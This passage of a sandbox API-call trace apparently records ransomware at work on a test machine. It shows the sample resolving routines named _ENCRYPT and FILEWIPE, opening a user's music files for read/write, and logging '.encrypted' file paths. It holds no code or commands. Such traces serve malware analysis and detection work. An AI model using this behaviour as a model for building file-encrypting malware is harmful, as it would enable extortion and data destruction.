wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.485] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0027.485] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.485] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0027.485] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0027.485] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0027.485] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.486] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.486] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0027.486] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.486] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.486] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.486] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.486] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.486] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0027.486] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.486] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0027.486] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.486] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.486] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.486] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.486] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0027.486] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.486] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.486] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0027.486] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0027.486] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0027.486] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.486] CryptReleaseContext (hProv=0xe8f40633e0, dwFlags=0x0) returned 1 [0027.486] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.486] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.486] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0027.486] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.486] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.486] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.486] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.487] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.487] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.487] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0027.487] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.487] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.488] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.488] CharLowerBuffW (in: lpsz="byte[22761]", cchLength=0xb | out: lpsz="byte[22761]") returned 0xb [0027.488] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.488] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0027.488] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.488] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0027.488] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.488] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.488] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.488] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0027.488] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.488] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.488] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.488] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.488] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.488] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.488] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.488] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.488] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.488] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.488] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.488] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.488] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.488] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.488] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.488] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.489] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0027.489] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.489] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.489] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.489] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0027.489] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.489] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.490] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.490] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.490] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.490] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.490] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0027.490] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.490] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.490] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.490] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.490] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.491] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.491] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.491] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0027.491] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.491] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.491] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.491] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.491] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.491] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0027.491] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=7662) returned 1 [0027.491] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0027.491] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0027.491] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0027.491] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x1dee, lpOverlapped=0x0) returned 1 [0027.492] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0027.492] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x1dee, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0027.492] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=7662) returned 1 [0027.492] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\vuBvaJ.encrypted.mp3\r\n", cchWideChar=67, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 67 [0027.492] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\vuBvaJ.encrypted.mp3\r\n", cchWideChar=67, lpMultiByteStr=0xe8f4051770, cbMultiByte=67, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\vuBvaJ.encrypted.mp3\r\n", lpUsedDefaultChar=0x0) returned 67 [0027.492] WriteFile (in: hFile=0x1fc, lpBuffer=0xe8f4069dd0*, nNumberOfBytesToWrite=0x42, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4069dd0*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x42, lpOverlapped=0x0) returned 1 [0027.492] CloseHandle (hObject=0x1fc) returned 1 [0027.493] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.493] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.493] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.493] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.493] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.493] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0027.493] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.494] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0027.494] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0027.494] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.494] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178900, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0027.495] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0027.495] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0027.495] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178a40, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0027.495] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0027.495] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\wN2d1y8y7F1tG2R.wav", cchWideChar=64, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0027.495] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\wN2d1y8y7F1tG2R.wav", cchWideChar=64, lpMultiByteStr=0xe8f40519f0, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\wN2d1y8y7F1tG2R.wav", lpUsedDefaultChar=0x0) returned 64 [0027.495] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\wN2d1y8y7F1tG2R.wav" (normalized: "c:\\users\\5jghkoaofdp\\music\\ygqpk-ymjwgakf7q\\wn2d1y8y7f1tg2r.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0027.495] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=64, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 64 [0027.495] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=64, lpWideCharStr=0xe8f4068390, cchWideChar=64 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\wN2d1y8y7F1tG2R.wav") returned 64 [0027.496] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0027.496] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.496] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.496] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0027.496] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0027.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0027.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f41788a0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0027.497] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0027.497] CloseHandle (hObject=0x1fc) returned 1 [0027.497] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0027.497] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.497] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.497] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0027.497] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.497] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0027.497] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0027.497] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.497] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.497] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) 